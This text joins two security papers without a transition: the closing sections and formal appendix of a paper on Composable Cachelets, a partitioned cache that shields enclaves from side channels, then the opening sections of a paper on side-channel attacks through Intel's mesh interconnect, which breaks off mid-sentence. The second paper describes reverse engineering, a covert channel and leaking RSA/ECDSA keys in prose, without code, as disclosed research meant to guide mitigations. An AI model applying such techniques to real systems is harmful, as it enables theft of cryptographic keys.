SEC) can also benefit from cache leakage protection afforded
by CC. In this case, since these applications are generally
more memory intensive, larger partitions are needed to mod-
erate their performance impact. Figure 15 shows the results

for selected PARSEC applications running with quarter of the
LLC size allocated for them where the total virtual partition
has 8 cachelets with 8 ways. As seen from these results, the
average performance loss is 7.8%.

We examined blackscholes, facesim, ferret, fluidanimate,
raytrace and swaptions to completion as our benchmarks
which displayed 6%, 1.4%, 1.5%, 27.7%, 3.2% and 3.4% per-
formance degradation respectively. Of these, the largest loss
by far was observed for fluidanimate, this benchmark can
benefit from larger partitions.

5.1.5 Performance Impact on Non-Enclave Programs

Finally, we evaluated performance impact of CC on non-
enclave applications, where some portion of LLC is taken
away by enclaves. For this experiment, we selected five SPEC
2017 benchmarks that were the most sensitive to the LLC allo-
cations and most susceptible to performance degradation from
CC, as shown in Figure 14: blender, mcf, omnetpp, parest and
xz. Figure 16 shows IPC of these applications executed in
a non-enclave mode normalized to the baseline (baseline is
the rightmost set of bars). The second rightmost set of bars
shows the impact of the 3-cycle additional LLC latency due
to CC. Although it is reasonable to assume that CC can be
implemented with non-enclave accesses incurring no extra
delay (as they do not require remapping), we nevertheless con-
servatively show the results where 3 extra cycles are added
to the LLC latency. The difference between two rightmost
bars is 1.4% on the average - that is the cost of additional
cycles. On top of that, we show the performance for three
different cases - when 14, 12 and 8 ways are allocated to non-
enclave programs, assuming that the rest of the cache space
are occupied by enclaves.

All of the benchmarks exhibited performance loss of un-
der 10%. When 8 ways (half of the LLC) are allocated to
non-enclave programs, mcf show the worst result with 7.1%
performance loss (again, assuming that 3 additional cycles
of latency are present; without that the impact will be much
smaller as can also be seen from this graph). For all other
benchmarks, performance loss is less than 3%. On average,
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CC provides non-enclave programs shown on this graph with
97.3%, 98.2%, 98.4% and 98.6% of the baseline performance
for 8, 12, 14 and 16 ways allocation respectively, assuming
3-cycle additional latency. Again, these benchmarks are the
ones that were most sensitive to LLC in our previous experi-
ments.
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Figure 15: Performance Impact on PARSEC Benchmarks
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Figure 16: Performance of non-enclave SPEC’17 Benchmarks

5.2 Delay Analysis

First, we examine the complexity of VPT, which is the central
piece of CC logic. The VPT and associated address remap-
ping logic is similar in structure to a register alias table (RAT),
where the RAT has the number of rows equals to the number
of ISA registers, and the number of bits in each row equal
to the log of the number of physical registers. Typically, re-
naming a register takes a single cycle even in multi-ported
RATs that are necessary to implement superscalar cores. With
a single-ported VPT, the access delays will reduce even more.
Therefore, it is reasonable to expect that the address remap-
ping logic in the LLC can be implemented at the cost of
one additional cycle of LLC access latency. However, for
conservative performance estimation, we provisioned three
additional cycles to the LLC latency to support CC, and all
out performance results assume three-cycle latency.

The replacement deflection logic described in 3.2 can be
implemented in parallel with L3 tag checking process to avoid
additional delays. The way replacement is a simple two-step
process that involves 1) looking up the cachelet occupancy
bits for the selected set and 2) applying the masking logic

described in Figure 8. In a design where each cachelet oc-
cupies 1/16 of the sets in its assigned way(s), The first step
requires indexing into a 16-entry table, similar to the VPT.
In a cache with 8 columns of cachelets, the second step re-
quires the five-gate-deep structure shown in Figure 9 to mask
the replacement bits (one additional level of gates would be
needed for each additional column of cachelets). In contrast,
tag matching and hit/miss determination requires: 1) indexing
and reading the set, which is a time consuming operation for
a large LLC, and 2) comparing tags in the selected set against
the tag bits of the address being accessed to determine a hit or
a miss. Because the masked replacement bits are not used un-
til a hit or a miss is determined, the identification of the victim
way proceeds in parallel with the cache access (once the set
is determined through the remapping logic), thus removing
this operation from the critical path. In any case, we provision
three additional cycles to the LLC latency to support CC for
conservative performance estimation.

5.3 Area and Power Analysis

The architectural footprint of CC is limited, arising mostly
from the CFL, VPTs, and additional tag bits required for each
way that is equipped to host cachelets. We used the McPAT
tool [37] to estimate the complexity of these components.
As a reference architecture, we modified one of the baseline
processor descriptions (Intel Xeon) that are provided with
McPAT, and altered the Caches, Register File, TLB, BTB,
LSQ, ROB, and fetch/decode/issue/commit widths to match
the architecture defined in Table 1. The technology parameter
was changed to 22mm. All other defaults were retained.

CFL: The CFL is structurally similar to a register free list.
It consists of n entries, each containing log2n bits where n is
the number of cachelets. For example, a CFL supporting 64
cachelets contains 64 6-bit entries. We estimated the area and
power of a 64-cachelet CFL by simulating a 64-entry register
free list in McPat. The area overhead was 0.04% relative to
the baseline processor, and the peak and runtime dynamic
were 0.09% and 0.16%, respectively. Because the CFL would
be accessed only when cachelets are allocated, power results
based on the register free list likely overestimate the actual
CFL power consumption.

VPT: To support the largest allocation of cachelets in our
evaluations, each hardware VPT requires 16 six-bit entries,
or 96 D flip-flops, in addition to six 16-1 multiplexers re-
quired for address remapping (We assume a maximum of 16
cachelets per enclave, with a total of 64 cachelets in the whole
system). This structure must be replicated for each hardware
thread sharing the LLC, and is similar in structure to a stan-
dard register alias table (RAT) as we described previously. To
estimate the area and power of a 16-entry VPT, we modeled
a retirement RAT in McPAT that mapped 16 architectural
registers to 64 physical registers. To model rename logic with
a single write port, analogous to the VPT, we modified the
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simulated processor to make it single-issue. The resulting area
estimate was 0.0004 mm2 for a single VPT, or 0.008 mm2 for
the two VPTs needed by the two-core simulated processor.
The two VPTs represent less than 0.002% of the total base-
line processor area. The runtime dynamic was 0.04% over the
baseline processor, while the peak dynamic was an increase
of 0.006% - all are negligible overheads.

L3 Cache: To support 16 cachelets per enclave, the cache
must be extended with 4 additional tag bits, resulting in a
1.92% increase in LLC area, or a total 0.80% increase in area
for the reference processor. The impact on processor peak and
runtime dynamic are, respectively, 0.29% and 0.33%. Table 2
summarizes the area/power overheads of CC relative to the
reference processor.

Component Area (mm2) Peak Dynamic W Runtime Dynamic W
Base CPU 45.18 (100%) 70.07 (100%) 35.12 (100%)
CFL 0.02 (+0.04%) 0.06 (+0.09%) 0.06 (+0.16%)
VPT × 2 <0.001 (+0.002%) 0.004 (+0.006%) 0.013 (+0.04%)
CC tag bits 0.36 (+0.80%) 0.21 (+0.29%) 0.11 (+0.33%)
Total 0.38 (+0.84%) 0.27 (+0.38%) 0.18 (+0.51%)

Table 2: Area/Power estimates for CC components

6 Related Work
Cache partitioning schemes with strictly non-overlapping par-
titions completely eliminate information leakage. However,
existing schemes use way-granularity approaches that do not
scale efficiently to large numbers of small enclaves, or trust
system software to enforce isolation, making them incompati-
ble with the isolated execution security model. For example,
DAWG [35] and CATalyst [39] trust the OS to control parti-
tioning; if the OS is compromised, security guarantees may no
longer be sustained. Furthermore, DAWG has a hard limit on
the number of supported protection domains, limiting its scal-
ability. NoMo caches [21] offer partitioning without software
support, but is not scalable (since the entire cache way gets
allocated) and is thus not suitable for the LLC, especially in
cloud-based systems that can simultaneously run a large num-
ber of enclaves. In addition, as some cache ways are shared in
NoMo, leakage can occur if the victim’s accesses spill into the
shared portion of the cache. Other partitioning schemes like
Intel’s CAT [30] were designed for quality of service, and do
not guarantee isolation between processes occupying different
partitions. Other designs such as [49,52,68] also fall into this
category. Some approaches [9, 18] perform set-partitioning
via page coloring. The limitation is that large regions of data
may need to be moved around in memory when allocating
cache sets, because cache set allocation is bound to physical
addresses. Page coloring is also not readily compatible with
large pages, potentially impacting the TLB reach [35].

HybCache [19] provides soft cache partitions for codes
requiring isolated execution protection. HybCache requires
fully-associative search within the subcache ways - this is
expensive and may not easily scale to large LLCs. In addition,

HybCache does not enforce strict isolation, as normal pro-
grams can still access the entire cache. CURE [2] proposed
a customizable architecture for securing enclaves from side-
channel attacks. However, cache partitioning is also done at
the granularity of ways, unlike fine-grain partitioning in CC.

In a concurrent work, Saileshwar et al. proposed Bespoke
Cache Enclaves - a set-based cache partitioning scheme,
where the cache space is divided into non-overlapping clus-
ters composed of multiple consecutive sets [51]. The key of
this proposal is flexible indexing mechanism that restricts
access from a particular security domain only to the cache
partitions belonging to that domain. A similar principle is
used in Chunked-Cache [20] - a design for trusted execution
environments that allows each program to have its own ded-
icated cache sets. In contrast, the CC design uses both way
and set-based partitioning to provide support for dynamic
reconfiguration of existing partitions. In both Chunked-Cache
and CC, partitioning decisions are tied to enclave operations.

In the space of randomized designs, recent work proposed
obfuscating the cache index [47, 48, 64]. CEASER [47] dy-
namically encrypts the cache index using low-latency encryp-
tion. The original CEASER proposal proved vulnerable to
high-speed key recovery attacks [48], and the revised version
of CEASER proposed in [48] to address this vulnerability was
recently compromised by the Brutus attack proposed in [7].
While stronger address encryption can fortify CEASER, this
will have an impact on access latency. Attacks similar to [48]
can be used to break another randomization mechanism called
SCATTER-CACHE that was proposed in [65]. Another re-
cent work [46] also demonstrated security problems with
randomization-based caches, such as CEASER-S. In general,
partitioning provides fundamentally stronger security guaran-
tees.

In other related efforts, SHARP [71] offers modifications to
the cache replacement policy of the LLC to avoid cross-core
inclusion victims that are determined to be the root cause
of attacks. Similarly, RIC [33], avoids back-invalidations of
read-only data from private caches, which avoids successive
access to the LLC. Both techniques trust the OS to support
critical operations: in RIC, the read-only pages need to be
marked, while SHARP reports suspicious behavior to the
OS (which can choose to ignore the warning), and relies on
a modified clflush instruction. Table 3 compares CC with
previous solutions in terms of scalability, OS involvement and
security.

Design CC DAWG [35]

CATaly
st [39]

NoMo [21]

SecD
CP [62]

PLCach
e [63]

HybCach
e [19]

CEASER [48]

Fine-grained Yes No Yes No No Yes Yes Yes
HW only Yes No No Yes No No Yes Yes

Strict isolation Yes Yes Yes No Yes Yes No No

Table 3: A Comparison of Cache Designs for Security
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Designing formal frameworks for side-channel attacks is
an emerging but actively pursued direction. Several formal
frameworks have illustrated the vulnerabilities due to specu-
lation [14, 16, 26, 41], whereas our focus is on cache-based
channels, and more importantly, the defense against such at-
tacks. Formal foundations for programs running on enclaves
have also been proposed (e.g., [24, 25, 55]), without focus-
ing on side channel attacks or their defenses. More broadly,
programming language techniques have been proposed for
addressing side-channel attacks, including abstract interpreta-
tion [60, 67], symbolic execution [12, 27, 61], program analy-
sis and transformation [22, 59, 66]. This category of related
work is more distant to ours, in that they propose software
defense whereas ours is hardware-centric. Finally, hardware
description languages have been designed to mitigate timing
channels [72–74].

7 Concluding Remarks
It is important to protect caches from side-channel attacks, par-
ticularly in environments with isolated execution. In these set-
tings, application secrets are shielded from direct access even
by high-privilege software, but can still be leaked through
a side channel. Composable Cachelets (CC) is a new and
scalable dynamically-partitioned last-level cache design that
strongly isolates secure enclaves from other applications and
from each other. CC partitions can be dynamically managed as
enclaves enter and leave the system, thus adjusting the cache
configuration to the system demands. We demonstrate that
CC provides provable protection from cache side-channel at-
tacks through a rigorous security model based on cache-aware
and enclave-aware operational semantics. We demonstrate
that CC can be implemented with minimal area and power
overhead, and many applications can benefit from CC protec-
tion with modest performance cost. These properties make
CC an attractive design choice for SGX-style isolated execu-
tion systems.
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Appendix
In this appendix, we provide additional definitions of the
formal system, omitted from the main text of the paper. The
proof for the theorems and lemmas can be found online 1

9 Cache Replacement Logic Definitions
The update function is defined as follows:

1http://www.cs.binghamton.edu/∼davidl/papers/CCProof.pdf

update(〈ς;e;T1;T2〉,w,e) = 〈LMRU;e;T ′1 ;T2〉
if w≺ T1

T ′1 = update(T1,w,e)
update(〈ς;e;T1;T2〉,w,e) = 〈RMRU;e;T1;T ′2〉

if w≺ T2
T ′2 = update(T2,w,e)

update(〈ς;e;T1;T2〉,w,e) = 〈ς;e;T1;T2〉
if ¬w≺ T1,¬w≺ T2

update(〈ς;e;T1;T2〉,w,e′) = 〈ς;T ′1 uT ′2 ;T ′1 ;T ′2〉
if e′ 6= e

T ′i = update(Ti,w,e′)
for i = 1,2

update(〈w;⊥〉,w,e) = 〈w;e〉
update(A,w,e) = A otherwise

where auxiliary function w@ T is a predicate that holds when
way w occupies some leaf in PLRU (sub-)tree T . Furthermore,
operator T uT ′ computes the common enclave that holds all
ways in both T and T ′; when the ways in T and T ′ are held
by more than one enclave (including non-enclave ⊥), the
operator returns ⊥. The two functions are defined as follows:

w≺ 〈ς;e;T1;T2〉 = (w≺ T1)∨ (w≺ T2)
w≺ 〈w′;e〉 = (w = w′)

〈ς;e;T1;T2〉u 〈ς′;e;T ′1 ;T ′2〉 = e
T1 uT2 = ⊥ otherwise

Just as the replace function, the update function here is
also defined into cases depending on whether the PLRU (sub-
)tree is entirely occupied by the enclave of interest. Cases 1, 2,
3 says that if the PLRU (sub-)tree is indeed entirely occupied
by the enclave of interest, the PLRU tree update is defined
according to the PLRU algorithm itself: if its left subtree
is more recently accessed, the selection bit is set to LMRU;
if the right subtree is more recently accessed, the selection
bit set to RMRU. Case 4 says if the PLRU (sub-)tree is not
entirely occupied by the enclave of interest, we will ignore
the selection bit, and only update the PLRU tree (recursively)
for subtrees entiredly occupied by the enclave of interest. Case
5 is a special case that says that if a way (leaf node in the
PLRU tree) is currently not occupied by any enclave, it can
be allocated to the enclave of interest; this case is used for
cachelet allocation. Case 6 says that for all other cases, the
leaf node in the PLRU tree remains unchanged.

This function unifies several use scenarios that involves
the PLRU tree update (and it will be used in definitions that
capture these scenarios):

• When a way is a hit, we need to update the path on the
PLRU tree to make sure the selection bit (i.e., MRU)
indeed reflects this way is the most recently accessed
way.

• When a way is a miss and its content is replaced with
new data, we also need to update the path on the PLRU
tree to make sure the selection bit (i.e., MRU) indeed
reflects this way is the most recently accessed way.

• When a way is newly allocated to an enclave.

Note also that this definition subsumes the non-enclave
access, where the enclave of interest (the third argument of
the function) is set to ⊥.
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10 Auxiliary Definitions
Cachelet Operators First, let us introduce a covenience
function for gang invalidation. Function inv(C,F) is de-
fined as C[c1 7→ 〈dirty; t1;D1〉] . . . [cn 7→ 〈dirty; tn;Dn〉] where
C(ci) = 〈vbi; ti;Di〉 for i = 1..n and F = c1, . . . ,cn.

The following CC operations are defined, where κ =
〈F ;V ;C;R〉:

• Cachelet Allocation: Operator ⇑n
e κ allocates n

cachelets to e in κ, defined as 〈F ′′;V [e 7→ L];C;R[s1 7→
T ′1 ] . . . [sn 7→ T ′n ]〉 where F = F ′,F ′′, and F ′ = c1, . . . ,cn
and L = 0 7→ c1, . . .n− 1 7→ cn, and ci = 〈wi;si〉 and
R(si) = Ti, T ′i = update(Ti,wi,e) for i = 1..n.

• Cachelet Deallocation: Operator ⇓e κ deal-
locates the cachelets for e in κ, defined as
〈F,F ′;V\e; inv(C,F ′);R[s1 7→ T ′1 ] . . . [sn 7→ T ′n ]〉 where
ran(V (e)) = F ′ and F ′ = c1, . . . ,cn and ci = 〈wi;si〉 and
R(si) = Ti, T ′i = update(Ti,wi,e) for i = 1..n. .

• CC Hit Read: Operator κ ↑ε
c l reads data in lo-

cation l through cachelet c held by enclave ε, de-
fined as 〈D(o);κ′〉 if C(c) = 〈vb; t;D〉, c = 〈w;s′〉 =
V (ε)(s) where α(l) = 〈b;o〉, β(b) = 〈s; t〉 and κ′ = κ =
〈F ;V ;C;R[s′ 7→ T ′]〉 and T ′ = update(R(s′),w,ε).

• CC Miss Read: Operator (κ,µ) ↑ε
c l reads data in loca-

tion l and updates cachelet c held by enclave ε in κ when
location l in memory µ is updated, defined as 〈D′(o);κ′〉
such that

κ′ = 〈F ;V [ε 7→V (ε)[s 7→ c]];C[c 7→
〈valid; t;µ(b)〉];R[s′ 7→ T ′]〉

if α(l) = 〈b;o〉, β(b) = 〈s; t〉, c′ = 〈w′;s′〉 = V (ε)(s),
C(c′) = 〈vb′; t ′;D′〉, t ′ 6= t, w′′ = replace(R(s′),ε),
C(〈w′′;s′〉) = 〈vb; t ′′;D〉, and T ′ = update(R(s′),w′′,ε).

• CC Hit Write: Operator κ ↓ε
c (l,v) updates cachelet c

held by enclave ε in κ when location l is updated, defined
as 〈F ;V ;C[c 7→ 〈dirty;D[o 7→ v];R[s′ 7→ T ′]〉]〉 if C(c) =
〈vb; t;D〉, c = 〈w;s′〉 = V (ε)(s) where α(l) = 〈b;o〉,
β(b) = 〈s; t〉, c = 〈w;s;〉, and T ′ = update(R(s′),w,ε).

• CC Miss Write: Operator (κ,µ) ↓ε
c (l,v) updates

cachelet c held by enclave ε in κ when location l in
memory µ is updated, defined as 〈κ′;µ′〉 such that

κ′ = 〈F ;V [ε 7→V (ε)[s 7→ c]];C[c 7→ 〈dirty; t;µ(b)[o 7→
v]〉];R[s′ 7→ T ′]〉
µ′ = µ[b′ 7→ D]

if α(l) = 〈b;o〉, β(b) = 〈s; t〉, c′ = 〈w′;s′〉 = V (ε)(s),
C(c′) = 〈vb′; t ′;D′〉, t ′ 6= t, w′′ = replace(R(s′),ε),
C(〈w′′;s′〉) = 〈vb; t ′′;D〉, β(b′) = 〈s; t ′′〉 and and T ′ =
update(R(s′),w′′,ε).

• CC Resize: Operator �e κ resizes (doubles) the
cachelets in e, defined as 〈F2;V [e 7→ L3,L1];C;R〉 if
F = F1,F2, V (e) = L3 and |F1| = |L3| = n. and L1 =
n−1 7→ c1, . . . ,2×n−1 7→ cn and F1 = c1, . . . ,cn.

Enclave Operators The key operators of enclaves are de-
fined as follows:

• Enclave Creation: Operator εµ{e 7→ 〈l;n〉} is defined
as 〈e;E[e 7→ 〈l;n〉]〉 where ε = 〈e;E〉, defined only when
e /∈ dom(E), µ{l}= µ{l +1} . . .µ{l +n−1}= 0.

• Active Enclave Update: Operator 〈e′;E〉J e is defined
as 〈e;E〉, defined only if e ∈ dom(E)∪{⊥}.

• Enclave Elimination: Operator 〈e;E〉− e is defined as
〈e;E\e〉.

Memory Operators For memory, we use µ{l} to refer to
µ(b)(o) where α(l) = 〈b;o〉. We use µ{l 7→ v} to refer to
µ[b 7→ D′] and D′ = D[o 7→ v] where α(l) = 〈b;o〉. Operator
Oe

εµ says memory µ for enclave e in executions ε is reinitial-
ized, defined as µ{l 7→ 0} . . .{l+n−1 7→ 0} where ε = 〈e;E〉
and E(e) = 〈l;n〉.
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Abstract
This paper studies microarchitectural side-channel attacks

and mitigations on the on-chip mesh interconnect used in
modern, server-class Intel processors. We find that, though
difficult to exploit, the mesh interconnect can be abused by
an adversary even when known attack vectors inside the cores
and caches are closed. We then present novel, non-invasive
mitigation mechanisms to interconnect side-channel attacks
and offer insights to guide the design of future defenses.

Our analysis starts by thoroughly reverse engineering the
mesh interconnect to reveal, for the first time, the precise
conditions under which it is susceptible to contention. We
show that an attacker can use these conditions to build a cross-
core covert channel with a capacity of over 1.5 Mbps. We
then demonstrate the feasibility of side-channel attacks that
leak keys from vulnerable cryptographic implementations by
monitoring mesh interconnect contention. Finally, we present
an analytical model to quantify the vulnerability levels of
different victim and attacker placements on the chip and use
the results to design a software-only mitigation mechanism.

1 Introduction

Microarchitectural attacks have become an increasingly seri-
ous threat to system security. In a microarchitectural attack,
an attacker infers secrets about a victim program by mon-
itoring the side effects of the victim’s execution on shared
hardware resources. These types of attacks can be used to leak
cryptographic keys [6,30,61,73,75,101,103], browsing activ-
ity [72,83,84], user keystrokes [37,38,56,57,77,78], and other
secret information [35,41,43,98]. Moreover, these attacks can
employ speculative execution to completely bypass memory
isolation and leak arbitrary data [13, 54, 59, 81, 86, 87].

In the past two decades, several hardware resources have
been exploited to mount microarchitectural attacks, including
caches [61, 73, 75, 101], branch predictors [2, 22, 23], and exe-
cution ports [5, 10, 33]. Fortunately, we have also seen more

∗These authors contributed equally to this work.

practical mitigation mechanisms. For example, to block at-
tacks targeting SMT contexts, operating systems can disallow
programs from different security domains from being sched-
uled onto the same CPU cores. Multiple effective mitigations
to block cache side-channel attacks have also been proposed
via spatially partitioning shared caches or flushing cache con-
tent upon context switches [12, 28, 32, 53, 60, 100, 107].

In this paper, we study an on-chip microarchitectural attack
surface that remains open even if all attack vectors in the
cores and caches are closed: the on-chip interconnect. De-
spite active research on microarchitectural security, very few
works [20, 74, 82, 90, 92] have explored attacks and defenses
on the on-chip interconnect. Such an interconnect extends
across the whole chip and is used to connect all on-chip re-
sources, including shared caches, DRAM controllers, and I/O
ports. Specifically, the majority of accesses to the last-level
caches and all accesses to DRAM need to travel through cer-
tain segments of the on-chip interconnect. Given their high
accessibility, on-chip interconnects are likely to become in-
creasingly relevant for microarchitectural security, especially
as attack vectors inside the cores and caches are closed.

1.1 Challenges of Exploiting Mesh Interconnects

In particular, we explore microarchitectural attacks and miti-
gations on the mesh interconnect used in Intel server proces-
sors since 2016 [96]. On these processors, on-chip resources,
including cores, private caches, and LLC slices, are organized
into tiles and placed on the die using a 2-dimensional grid
layout, shown in Figure 1. The mesh interconnect provides a
bidirectional link between each pair of neighboring tiles.

There exist two key challenges to building microarchitec-
tural attacks on the mesh interconnect. First, it is difficult to
contend spatially on a mesh topology. For contention to occur,
the attacker’s and the victim’s traffic flows must overlap on the
interconnect. Server processors with a mesh interconnect con-
tain many cores, providing numerous placement options for
the victim and the attacker. Moreover, the mesh interconnect
is designed to distribute traffic to avoid congestion. Consider-

USENIX Association 31st USENIX Security Symposium    2857



ing the numerous placement options and sparsely-distributed
traffic flows, blindly trying to detect interconnect contention
is ineffective. An effective attacker must carefully consider
the scheduling policies used by the mesh interconnect.

Second, it is difficult to create temporal contention. Tem-
poral contention happens when the attacker’s and the victim’s
traffic use a segment of the interconnect simultaneously. A
memory access that misses in the L2 cache and hits in the LLC
slice of a neighboring tile may spend 50 cycles in the cache
but only 2 to 3 cycles on the interconnect. The probability
for two such memory accesses to contend on the interconnect
is low. Moreover, the extra latency caused by interconnect
contention is small and thus is very sensitive to noise.

Taken together, these challenges require the attacker to have
a thorough understanding of the mesh interconnect protocols.
In fact, we show that uncovering details about the interconnect
is not only essential for attacks, but also useful for mitigations.

1.2 This Paper

In this paper, we answer the following two questions. First,
is it really feasible to construct side-channel attacks by only
exploiting contention on a mesh interconnect? Second, are
there non-invasive approaches that can mitigate interconnect
side channels without requiring hardware modifications?

We start by reverse engineering previously unknown details
about Intel’s mesh interconnect. First, we reverse engineer the
lane scheduling policy on the interconnect. We find that each
segment in the mesh interconnect consists of multiple lanes,
and the lane scheduling policy decides which lane a traffic
flow will use based on the flow’s source and/or destination
tile. Interestingly, the policies for vertical rings and horizontal
rings are completely different. Second, we reverse engineer
the priority arbitration policy used at each tile. We find that
the priority of a traffic flow is determined by its source tile.
The priority information is important since traffic flows with
a high priority cannot be delayed by ones with a low priority
and thus cannot be used to observe interconnect contention.

We use the reverse-engineering results to build covert and
side-channel attacks that exploit mesh interconnect contention.
Our attacks work even if the processor has deployed miti-
gations against a wide range of microarchitectural attacks,
including attacks targeting SMT resources, private and shared
caches, and DRAM. Our covert channel can achieve a capac-
ity of 1.53 Mbps. Our side-channel attack can extract keys
from vulnerable ECDSA and RSA implementations.

Finally, we offer insights into mitigating interconnect side-
channel attacks. Specifically, we find that the victim and at-
tacker placements significantly affect attack efficacy. Impor-
tantly, not all the cores are equally vulnerable. We then design
an analytical model to quantify vulnerability levels and vali-
date this model using our side channel. We use the findings
of our model to guide the design of a non-invasive software-
based mitigation to interconnect side-channel attacks.

Disclosure We disclosed our findings to Intel in Q2’21. Intel
classified our attack as a “traditional side-channel attack”, and
referred to their guidance on software-based mitigations [46].

2 Background

2.1 Cache Architecture

The cache is used to store data and instructions for fast access.
On modern processors, the cache is typically set-associative.
A cache line can reside in any way of a cache set, and the
cache set that a line maps to is determined by its address bits.

Modern Intel processors have two levels of private caches
(L1 and L2), and a shared L3 cache, also called last-level
cache or LLC. The L1 cache is small (e.g., 32-64 KB) and
fast, typically responding within 5 cycles. The L2 cache is
slightly bigger (e.g., 256 KB-1 MB) and has a latency of 10-
20 cycles. Finally, the shared LLC is large (e.g., several to
tens of MBs) and has a latency of 40-60 cycles. The LLC
latency is still much lower than the main memory (DRAM)
access latency, which is on the order of 200-300 cycles.

When a memory access is issued by the core, the L1 cache
is checked to find out if the data is present in the cache. If it
is a hit, the data is sent to the core. If it is a miss, the request
is sent to the L2 cache. Similarly, if the request misses in L2,
it is further sent to the LLC and then to main memory.

LLC Slice Organization The LLC of modern Intel proces-
sors is organized into multiple slices (partitions). In client-
class processors, the number of slices is the same as the num-
ber of cores. In server-class processors, the number of slices
is sometimes greater than the number of cores (as we see in
Section 3). Such an organization is helpful to keep the de-
sign modular and scalable. Intel processors map each memory
address to a particular slice ID using a proprietary mapping
function that is designed to keep the distribution of cache lines
among slices as uniform as possible [43,44,48,50,64,67,102].

Cache Inclusiveness The LLC can be inclusive, exclusive,
or non-inclusive. In an inclusive LLC, cache lines in the L2
caches are also present in the LLC. In an exclusive LLC, a
cache line is never present in both the L2 caches and the LLC.
In a non-inclusive LLC, a cache line in the L2 caches may or
may not be present in the LLC.

2.2 On-chip Interconnect

On multi-core processors, an on-chip interconnect connects
physical cores, shared caches, and memory controllers. Since
the late 2000s, Intel has used a ring interconnect architecture,
known as a ring bus. However, rising core counts on Intel’s
high-end processors revealed scalability issues which led In-
tel to develop the mesh interconnect. This interconnect first
appeared in the Knights Landing microarchitecture in 2016
and has since been used by all Intel processors in the Xeon
Scalable server series and the high-end Core X-series [96].
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Figure 1: Intel mesh interconnect architecture.

Mesh Topology The interconnect topology determines the
physical layout and connections between hardware modules.
We call each hardware module a tile. Intel’s mesh intercon-
nect topology, shown in Figure 1(a), organizes tiles into a
2-dimensional array and forms a grid. Each tile is directly
connected to its immediate neighbors [47, 96].

Tile Types Relevant to this paper are two types of tiles:
Core tiles and IMC tiles [96]. As shown in Figure 1(b), a Core
tile incorporates a CPU core (including L1 and L2), an LLC
slice, and a ring stop. The LLC slice includes the data, direc-
tory (snoop filter), and a control unit called the Caching/Home
Agent (CHA), used to maintain cache coherency between tiles.
The ring stop is responsible for injecting, forwarding, and re-
ceiving traffic to/from the interconnect. It is also referred to as
a node router or ring station [74]. An IMC tile includes a ring
stop and an integrated memory controller that is connected to
off-chip DRAM modules. Cascade Lake processors have two
IMC tiles placed symmetrically on the border of the grid.

2.3 Microarchitectural Side Channels

A microarchitectural side channel involves a transmitter in the
victim’s security domain and a receiver in the attacker’s se-
curity domain stealthily communicating with each other. The
medium of the communication channel is some microarchitec-
tural structures whose states and occupancy can be modified
by the transmitter and the receiver’s activities. Similar to prior
work [33, 74], we classify microarchitectural side channels
into two groups based on the type of resource they exploit:
eviction-based attacks and contention-based attacks.

Eviction-based attacks (also called “stateful”) focus on
microarchitectural resources that hold shared states, such as
caches [1,3,6,17,19,30,37–40,49,52,58,61,65,69,72,73,75,
80,83,84,101,105,106], TLBs [34], DRAM row buffers [77],
and Branch Target Buffers (BTB) [2, 22, 23]. An eviction-
based attack generally involves three steps. First, the receiver
executes and brings a shared microarchitectural structure into
a known state. Second, the transmitter is triggered to modify
the shared state based on some secret value. Third, the receiver
probes the structure to learn the modified state and infer the

secret. The classical cache attacks such as Flush+Reload [101]
and Prime+Probe [73, 75] follow the three steps above.

Contention-based attacks (also called “stateless”) exploit
the finite bandwidth capacity of a resource that is shared
by multiple programs. Such resources include functional
units [4,93], cache banks [103], execution ports [5,10,33], the
memory bus [97], random number generators [21], the on-chip
interconnect [74], and the off-chip interconnect [51]. When
multiple parties concurrently use such a resource, delays oc-
cur which might result in information leaks. In a contention-
based attack, information leakage happens only during the
time when the victim is utilizing the shared resource, in con-
trast to an eviction-based attack, where the attacker and the
victim do not need to simultaneously use the shared resource.

3 Target Architecture and Tile Layout

In this section, we describe some basic architectural param-
eters of the Intel Xeon Scalable Family Processors on the
Purley platform launched in 2017, which implement the mesh
interconnect. These parameters include the cache configura-
tions, the tile layout, and the tile mapping which are necessary
to reverse engineer the mesh interconnect in Section 6 and
carry out the attacks in Sections 7 and 8. Throughout the
paper, we run our experiments on a 24-core Intel Xeon Gold
5220R (Cascade Lake) processor running Ubuntu 18.04.

Cache Configurations Our processor features three levels
of caches. The L1 is 32 KB with 64 sets and 8 ways. The L2
is 1 MB with 1024 sets and 16 ways. Each LLC slice is 1.375
MB with 2048 sets and 11 ways. Importantly, the shared LLC
is non-inclusive. To generate interconnect traffic between two
given tiles, we need to generate cache accesses that miss in
the private caches and hit in a specific LLC slice. We describe
how to do this with a non-inclusive LLC in Section 5.1.

Tile Layout Intel Cascade Lake processors come with three
different die configurations, namely, LCC (low core count),
HCC (high core count), and XCC (extreme core count). We
focus our analysis on the XCC configuration, which consists
of 30 tiles, organized into a 5×6 grid, shown in Figure 2.

Prior work [42, 55, 68] provides multiple approaches to re-
verse engineer the tile layout. We used an approach similar to
the one from McCalpin [68], that we describe in Appendix B.

Figure 2 shows the results of our reverse engineering. We
label each tile using a 2D coordinate (x,y), where x indicates
the row number and y indicates the column number. For ex-
ample, tile (0,0) is at the top left corner of the chip.

In this processor, there are two IMC tiles, located symmet-
rically at (1,0) and (1,5). The remaining 28 tiles are all Core
tiles. Two Core tiles, (3,3) and (4,2), are completely disabled
(black), and another two tiles, (4,0) and (4,5), are partially
disabled (yellow). In a partially disabled Core tile, the LLC
slice, directory slice, and CHA are enabled while the core and
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Figure 2: An example tile layout of an Intel Cascade Lake
processor with 24 active cores and 26 active LLC slices.

private caches are disabled. As a result, our processor has 24
active cores and 26 active LLC slices.

The position of the disabled tiles may vary between chips of
the same model [68]. For example, we found that on another
chip with the same processor model, the completely disabled
tiles are located at (3,1) and (4,5) and the partially disabled
ones at (4,0) and (3,5). We describe how this variability can
be accounted for by an attacker in Appendix B.

Tile Mapping To reverse engineer the mesh interconnect
protocols, we also need to know 1) which tile a given CPU
ID maps to, and 2) which tile a given LLC slice ID maps to.
The CPU ID is used by the operating system (OS). Since our
24-core processor has hyper-threading (SMT) enabled, the
OS sees 48 logical CPUs. CPU c and CPU c+24 always map
to the same tile. The LLC slice ID is kept internally by the
hardware and is referred to as the CHA ID by Intel.

Our approach to inferring the tile mapping information is
similar to the one from McCalpin [68] and is described in
Appendix B. Figure 2 shows the two mapping relationships
we found using such an approach on our processor. For clarity,
we use the 2D coordinates to refer to tiles, CPU IDs, and
LLC slices in the remainder of this paper. The reader can use
Figure 2 to figure out CPU and slice IDs if needed.

To generate and monitor traffic between two tiles (x0,y0)
and (x1,y1), we pin a process to Core (x0,y0) and make it per-
